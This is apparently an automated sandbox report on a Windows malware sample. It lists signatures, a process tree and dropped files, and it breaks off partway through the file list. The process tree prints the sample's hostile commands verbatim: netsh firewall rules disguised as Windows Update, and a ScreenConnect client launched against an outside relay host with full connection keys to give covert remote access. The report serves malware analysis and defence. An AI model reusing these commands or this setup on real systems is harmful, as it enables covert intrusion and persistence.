Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/11/2026, 20:24

General

  • Target
    2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe
  • Size 12.2MB
  • Sample261104-y65m3aef52
  • SHA256 08c920d5ceb9d1ddfdd3ebb743113889466d09a1e680bdefd247d35e18225cb5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects encrypted or obfuscated .NET executables 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Modifies Windows Firewall 2 TTPs 6 IoCs
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 45 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 6 IoCs
  • Drops file in Windows directory 30 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 24 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 28 IoCs
  • Modifies registry class 37 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe"
    1⤵
    • Sets service image path in registry
    • Loads dropped DLL
    • Enumerates connected drives
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3820
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" http delete sslcert ipport=0.0.0.0:443
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      PID:4544
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" http add sslcert ipport=0.0.0.0:443 certhash=027E244BF54D87B2C4A33232A9B9785E394EF692 appid={e6a8b5e9-32d4-42cb-8df1-7c70a662f4cd}
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      PID:5988
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="Windows Update Web"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:3384
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="Windows Update Relay"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:1140
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="ScreenConnect Web"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:1812
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="ScreenConnect Relay"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:3476
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall add rule name="Windows Update Web" dir=in action=allow protocol=TCP localport=443
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:2032
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall add rule name="Windows Update Relay" dir=in action=allow protocol=TCP localport=8443
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:6036
    • C:\Users\Admin\AppData\Local\Temp\wu-3eecf408be5549b4a196827b87abe306.exe
      "C:\Users\Admin\AppData\Local\Temp\wu-3eecf408be5549b4a196827b87abe306.exe" --install-dir "C:\ProgramData\uhssvc" --mode silent --payload-file "C:\Users\Admin\AppData\Local\Temp\2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe" --payload-args "-Silent -TagSessions -HostTagSessions -NoLocalMarkerExec -NoShipLogs" --parallel 4
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6080
      • C:\Users\Admin\AppData\Local\Temp\wu-3eecf408be5549b4a196827b87abe306.exe
        "C:\Users\Admin\AppData\Local\Temp\wu-3eecf408be5549b4a196827b87abe306.exe" --gate-worker "C:\Users\Admin\AppData\Local\Temp\msoffice_telemetry\probe_uhssvc\ScreenConnect.WindowsClient.exe" "C:\ProgramData\uhssvc"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1784
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" ?e=Access&y=Guest&h=e.e404.us&p=8443&s=fc7a74d5-8ef0-42ca-a420-fe071ae7b986&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAgmur5uptdkCiRUhzqcqr7wAAAAACAAAAAAAQZgAAAAEAACAAAAC7t3k%2brfBJdVnGVooyX6%2b9VmXGTH5Ta%2bjP%2bJrgEJPqTQAAAAAOgAAAAAIAACAAAACX%2fMxdvT9Esruds294Ix1uLotHQ8L6jriEe0kI22THSaAEAAAoFPICoMIF1h4gm1%2fP7cboFIrq0kgom0UflJB5sRb4p8R3GqB0alnQmNZ%2fGzLOPsZ09JZj61SkgFNn%2fgyxhcxLddyM2peyg8%2f9%2ftOUnnQ3mAb2H%2bF2m1d9qwQ69MvLPpOoXfCeSsMAIYTwlBYWjMm8EYKDONRlHnZjMEYRnIf914OTzm4USVPUHTaW1tyw%2buIOFXQN1BpEU%2bGagbJ%2bsgeIojQCQPbUVLZwOuVqr3Bg%2b6ae6MqnxIPKyJj0pM3CQB4D2QM4azARsb2PBs%2fepF234rVzZWhob2YTN0tsI0YM0muQUaupifrvvxqEGEnqMuDKJJ3zFPaqQaf4MNC2lNtRh7bRPDHl2tuwLlpY4SvJV5b4f6FwnIb1vCuevgnuwu1CvOO5zRKJP%2bkWqAWlzo37AYsEfBeQ54KNFPQb63%2fQOfiIFo%2brOoUVrCOzYqyv4NAMv8NwC%2fZ%2fCxrqzRf77C2ralWL0JLEwN4911TgYL%2ffK%2frncgPgv%2bVkzPDvv9BooABfkQRzDf7wJAiwZW4N7%2f5A%2fPS2brt91cHRVUCnX1ku707kwqsXkTcWSdvH91j%2fER7MX6gMUUyzGRpieqpyLeiK71BYs6BEauX5Ay3%2bJLJzZPBCMrnsB%2bfR7lZwK02vouAEoVA2uT4q2GCK6SVBM%2bqMhD4bQzhEwDgWwB03wLzQ413XaeNOeKzwoJWW%2byMUWTr7uY9bnFPKIeXis21oLbIgDoy2HqZhFPJ%2bcHxiSq0xsmJd7AnvGxwK%2fQ%2bkSxyZqVKyhe96ac3tJ4Nh9X8PkWzdLbVg1TmuXYHYN2XzjwDpjx04Ek371%2blY23lUd9pAx%2b4Y1ORJk3WOq8vKHpWOD%2fsLXYhJ6sYOoARgjm9pwYrs80KVTKJi2yCu0Wl7O5rwwJ2ZVjr8ljAg6jInaDWTX54EjIoZEfpCE6ZA6C8dPG1IdPV9fMyftEV1BUCWL0yCDJ2099cIQG%2b3SgB%2bgpLtpoJ3sglp8gL85xNPxdVhAUNq4BoIpNBCT6wOdmGfKenmNXqcYQXxIqVfjBvs%2bu06Jbt7VRCOrlHXcs%2fbOIvlgS89NWJifEkP%2fPWUf9qo9I%2feHYNL1foFc3qFxJ8ULFaJW7oJ7E0q1MrbWcn7JmCkb7ym4dYEbTkEnxZwu8FHRmY7motXpjZ7KDG2U%2bVApy7TNwoGCLQ9grTCyzf7UqBLhE1JBIKtoaQKy3J5QESjZtdtR8JG3ZIC8WO3r5ikRSGMJThGSBHEX4qwqGTgf010%2fiMXPdt3qZlaSbsyfe209R2n5alSqRptsr0c805CqjT2e%2bou%2bVmnLNGXDw%2bK1erOCIGpa%2b4CnY6x9axs3mJ1eNrczBfW4KHdifvV%2fTFZuvcFnmroy0%2bovezN4vguAu08Ngcua37zQrqL8R5tl4%2bXc3zmmmXt58%2f9Kms3egjmdAqvO8HxV3J9ylWavZThoNbMUqlmp4IZJa6KbIoEibphTXm%2bnYNM0yigB1nHJbq7z9OJqqcp54UupkBLgCxEM1a67jH8yALRCPWkD4EIjzPUtZtvSsApRbCAURwMr4mdHNjNDemgJVuBUUSLm9II9uYIERs110AAAAAXxRX3KxMGobsfav8%2bpzrEowf16QxbX3hlrxlNoeY8no5RghQyKaTX6xryleuC5pYevpYH2ZfNr%2feL%2fjmC8Sg1&c=Host&c=&c=&c=&c=&c=&c=&c=
        3⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
          "C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=e.e404.us&p=8443&s=fc7a74d5-8ef0-42ca-a420-fe071ae7b986&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAgmur5uptdkCiRUhzqcqr7wAAAAACAAAAAAAQZgAAAAEAACAAAAC7t3k%2brfBJdVnGVooyX6%2b9VmXGTH5Ta%2bjP%2bJrgEJPqTQAAAAAOgAAAAAIAACAAAACX%2fMxdvT9Esruds294Ix1uLotHQ8L6jriEe0kI22THSaAEAAAoFPICoMIF1h4gm1%2fP7cboFIrq0kgom0UflJB5sRb4p8R3GqB0alnQmNZ%2fGzLOPsZ09JZj61SkgFNn%2fgyxhcxLddyM2peyg8%2f9%2ftOUnnQ3mAb2H%2bF2m1d9qwQ69MvLPpOoXfCeSsMAIYTwlBYWjMm8EYKDONRlHnZjMEYRnIf914OTzm4USVPUHTaW1tyw%2buIOFXQN1BpEU%2bGagbJ%2bsgeIojQCQPbUVLZwOuVqr3Bg%2b6ae6MqnxIPKyJj0pM3CQB4D2QM4azARsb2PBs%2fepF234rVzZWhob2YTN0tsI0YM0muQUaupifrvvxqEGEnqMuDKJJ3zFPaqQaf4MNC2lNtRh7bRPDHl2tuwLlpY4SvJV5b4f6FwnIb1vCuevgnuwu1CvOO5zRKJP%2bkWqAWlzo37AYsEfBeQ54KNFPQb63%2fQOfiIFo%2brOoUVrCOzYqyv4NAMv8NwC%2fZ%2fCxrqzRf77C2ralWL0JLEwN4911TgYL%2ffK%2frncgPgv%2bVkzPDvv9BooABfkQRzDf7wJAiwZW4N7%2f5A%2fPS2brt91cHRVUCnX1ku707kwqsXkTcWSdvH91j%2fER7MX6gMUUyzGRpieqpyLeiK71BYs6BEauX5Ay3%2bJLJzZPBCMrnsB%2bfR7lZwK02vouAEoVA2uT4q2GCK6SVBM%2bqMhD4bQzhEwDgWwB03wLzQ413XaeNOeKzwoJWW%2byMUWTr7uY9bnFPKIeXis21oLbIgDoy2HqZhFPJ%2bcHxiSq0xsmJd7AnvGxwK%2fQ%2bkSxyZqVKyhe96ac3tJ4Nh9X8PkWzdLbVg1TmuXYHYN2XzjwDpjx04Ek371%2blY23lUd9pAx%2b4Y1ORJk3WOq8vKHpWOD%2fsLXYhJ6sYOoARgjm9pwYrs80KVTKJi2yCu0Wl7O5rwwJ2ZVjr8ljAg6jInaDWTX54EjIoZEfpCE6ZA6C8dPG1IdPV9fMyftEV1BUCWL0yCDJ2099cIQG%2b3SgB%2bgpLtpoJ3sglp8gL85xNPxdVhAUNq4BoIpNBCT6wOdmGfKenmNXqcYQXxIqVfjBvs%2bu06Jbt7VRCOrlHXcs%2fbOIvlgS89NWJifEkP%2fPWUf9qo9I%2feHYNL1foFc3qFxJ8ULFaJW7oJ7E0q1MrbWcn7JmCkb7ym4dYEbTkEnxZwu8FHRmY7motXpjZ7KDG2U%2bVApy7TNwoGCLQ9grTCyzf7UqBLhE1JBIKtoaQKy3J5QESjZtdtR8JG3ZIC8WO3r5ikRSGMJThGSBHEX4qwqGTgf010%2fiMXPdt3qZlaSbsyfe209R2n5alSqRptsr0c805CqjT2e%2bou%2bVmnLNGXDw%2bK1erOCIGpa%2b4CnY6x9axs3mJ1eNrczBfW4KHdifvV%2fTFZuvcFnmroy0%2bovezN4vguAu08Ngcua37zQrqL8R5tl4%2bXc3zmmmXt58%2f9Kms3egjmdAqvO8HxV3J9ylWavZThoNbMUqlmp4IZJa6KbIoEibphTXm%2bnYNM0yigB1nHJbq7z9OJqqcp54UupkBLgCxEM1a67jH8yALRCPWkD4EIjzPUtZtvSsApRbCAURwMr4mdHNjNDemgJVuBUUSLm9II9uYIERs110AAAAAXxRX3KxMGobsfav8%2bpzrEowf16QxbX3hlrxlNoeY8no5RghQyKaTX6xryleuC5pYevpYH2ZfNr%2feL%2fjmC8Sg1&c=Host&c=&c=&c=&c=&c=&c=&c=" "1"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1120
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1120 -s 1304
            5⤵
            • Program crash
            PID:4284
      • C:\Windows\SYSTEM32\netstat.exe
        "netstat.exe" -ano -p tcp
        3⤵
        • System Network Connections Discovery
        • Gathers network information
        PID:4412
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3916
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 540B537299EDB9D03217AC6E98DF1299
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2636
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI86E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240781531 5 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5960
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 56A42C831BED3E77C270705F92157E1C E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1776
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:2804
    • C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
      C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=e.e404.us&p=8443&s=fc7a74d5-8ef0-42ca-a420-fe071ae7b986&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5404
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "e8cb701e-d559-4eae-b3c4-af16fc70d24f" "User"
        2⤵
        • Executes dropped EXE
        PID:2872
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "663e2915-b89d-4a64-b013-feb1bea82f68" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3456
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:1636
      • C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
        "C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=e.e404.us&p=8443&s=fc7a74d5-8ef0-42ca-a420-fe071ae7b986&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAgmur5uptdkCiRUhzqcqr7wAAAAACAAAAAAAQZgAAAAEAACAAAAC7t3k%2brfBJdVnGVooyX6%2b9VmXGTH5Ta%2bjP%2bJrgEJPqTQAAAAAOgAAAAAIAACAAAACX%2fMxdvT9Esruds294Ix1uLotHQ8L6jriEe0kI22THSaAEAAAoFPICoMIF1h4gm1%2fP7cboFIrq0kgom0UflJB5sRb4p8R3GqB0alnQmNZ%2fGzLOPsZ09JZj61SkgFNn%2fgyxhcxLddyM2peyg8%2f9%2ftOUnnQ3mAb2H%2bF2m1d9qwQ69MvLPpOoXfCeSsMAIYTwlBYWjMm8EYKDONRlHnZjMEYRnIf914OTzm4USVPUHTaW1tyw%2buIOFXQN1BpEU%2bGagbJ%2bsgeIojQCQPbUVLZwOuVqr3Bg%2b6ae6MqnxIPKyJj0pM3CQB4D2QM4azARsb2PBs%2fepF234rVzZWhob2YTN0tsI0YM0muQUaupifrvvxqEGEnqMuDKJJ3zFPaqQaf4MNC2lNtRh7bRPDHl2tuwLlpY4SvJV5b4f6FwnIb1vCuevgnuwu1CvOO5zRKJP%2bkWqAWlzo37AYsEfBeQ54KNFPQb63%2fQOfiIFo%2brOoUVrCOzYqyv4NAMv8NwC%2fZ%2fCxrqzRf77C2ralWL0JLEwN4911TgYL%2ffK%2frncgPgv%2bVkzPDvv9BooABfkQRzDf7wJAiwZW4N7%2f5A%2fPS2brt91cHRVUCnX1ku707kwqsXkTcWSdvH91j%2fER7MX6gMUUyzGRpieqpyLeiK71BYs6BEauX5Ay3%2bJLJzZPBCMrnsB%2bfR7lZwK02vouAEoVA2uT4q2GCK6SVBM%2bqMhD4bQzhEwDgWwB03wLzQ413XaeNOeKzwoJWW%2byMUWTr7uY9bnFPKIeXis21oLbIgDoy2HqZhFPJ%2bcHxiSq0xsmJd7AnvGxwK%2fQ%2bkSxyZqVKyhe96ac3tJ4Nh9X8PkWzdLbVg1TmuXYHYN2XzjwDpjx04Ek371%2blY23lUd9pAx%2b4Y1ORJk3WOq8vKHpWOD%2fsLXYhJ6sYOoARgjm9pwYrs80KVTKJi2yCu0Wl7O5rwwJ2ZVjr8ljAg6jInaDWTX54EjIoZEfpCE6ZA6C8dPG1IdPV9fMyftEV1BUCWL0yCDJ2099cIQG%2b3SgB%2bgpLtpoJ3sglp8gL85xNPxdVhAUNq4BoIpNBCT6wOdmGfKenmNXqcYQXxIqVfjBvs%2bu06Jbt7VRCOrlHXcs%2fbOIvlgS89NWJifEkP%2fPWUf9qo9I%2feHYNL1foFc3qFxJ8ULFaJW7oJ7E0q1MrbWcn7JmCkb7ym4dYEbTkEnxZwu8FHRmY7motXpjZ7KDG2U%2bVApy7TNwoGCLQ9grTCyzf7UqBLhE1JBIKtoaQKy3J5QESjZtdtR8JG3ZIC8WO3r5ikRSGMJThGSBHEX4qwqGTgf010%2fiMXPdt3qZlaSbsyfe209R2n5alSqRptsr0c805CqjT2e%2bou%2bVmnLNGXDw%2bK1erOCIGpa%2b4CnY6x9axs3mJ1eNrczBfW4KHdifvV%2fTFZuvcFnmroy0%2bovezN4vguAu08Ngcua37zQrqL8R5tl4%2bXc3zmmmXt58%2f9Kms3egjmdAqvO8HxV3J9ylWavZThoNbMUqlmp4IZJa6KbIoEibphTXm%2bnYNM0yigB1nHJbq7z9OJqqcp54UupkBLgCxEM1a67jH8yALRCPWkD4EIjzPUtZtvSsApRbCAURwMr4mdHNjNDemgJVuBUUSLm9II9uYIERs110AAAAAXxRX3KxMGobsfav8%2bpzrEowf16QxbX3hlrxlNoeY8no5RghQyKaTX6xryleuC5pYevpYH2ZfNr%2feL%2fjmC8Sg1&c=Host&c=&c=&c=&c=&c=&c=&c="
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:792
        • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
          "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "12f68517-1fee-4d96-9b23-5adadb33a29e" "User"
          2⤵
          • Executes dropped EXE
          PID:248
        • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
          "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "ee7fafd1-bc57-48f5-b3c3-dfad8fed9d0e" "System"
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Modifies data under HKEY_USERS
          PID:5136
        • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
          "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "c3826724-7255-4279-b5ff-0911b90deb82" "System"
          2⤵
          • Executes dropped EXE
          • Modifies data under HKEY_USERS
          PID:3176
        • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
          "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "cae7c1d1-724c-4caa-a2c5-31171fca6594" "User"
          2⤵
          • Executes dropped EXE
          PID:2008
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1120 -ip 1120
        1⤵
          PID:1952

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e5a02b4.rbs

              • Path C:\Config.Msi\e5a02b4.rbs
              • Size 213KB
              • SHA256 b73773a085e137bd0e9557b089eaaf17c0198ee46286c8cd01e72cb8786201ec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.Override.en-US.resources

              • Path C:\ProgramData\uhssvc\Client.Override.en-US.resources
              • Size 278B
              • SHA256 f00b98bb2ecbf018ed20909993bf2bd9f01cbe45bafca9a48ee002ae364d8185
              • MD5 SHA1 SHA512 TLSH

              Client.Override.resources

              • Path C:\ProgramData\uhssvc\Client.Override.resources
              • Size 27KB
              • SHA256 c3af7f4841897ac823ac920dd1de94c68e16747fe0fe483b97cd3f13ab072574
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\ProgramData\uhssvc\Client.en-US.resources
              • Size 49KB
              • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\ProgramData\uhssvc\Client.resources
              • Size 28KB
              • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Office.Telemetry.dll

              • Path C:\ProgramData\uhssvc\Microsoft.Office.Telemetry.dll
              • Size 26KB
              • SHA256 ad0cffd2d579a336c9cb18ae35dbb0a1bee22b9152ce086455f6b07789d67c7a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\ProgramData\uhssvc\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\ProgramData\uhssvc\ScreenConnect.ClientService.dll
              • Size 67KB
              • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsBackstageShell.exe

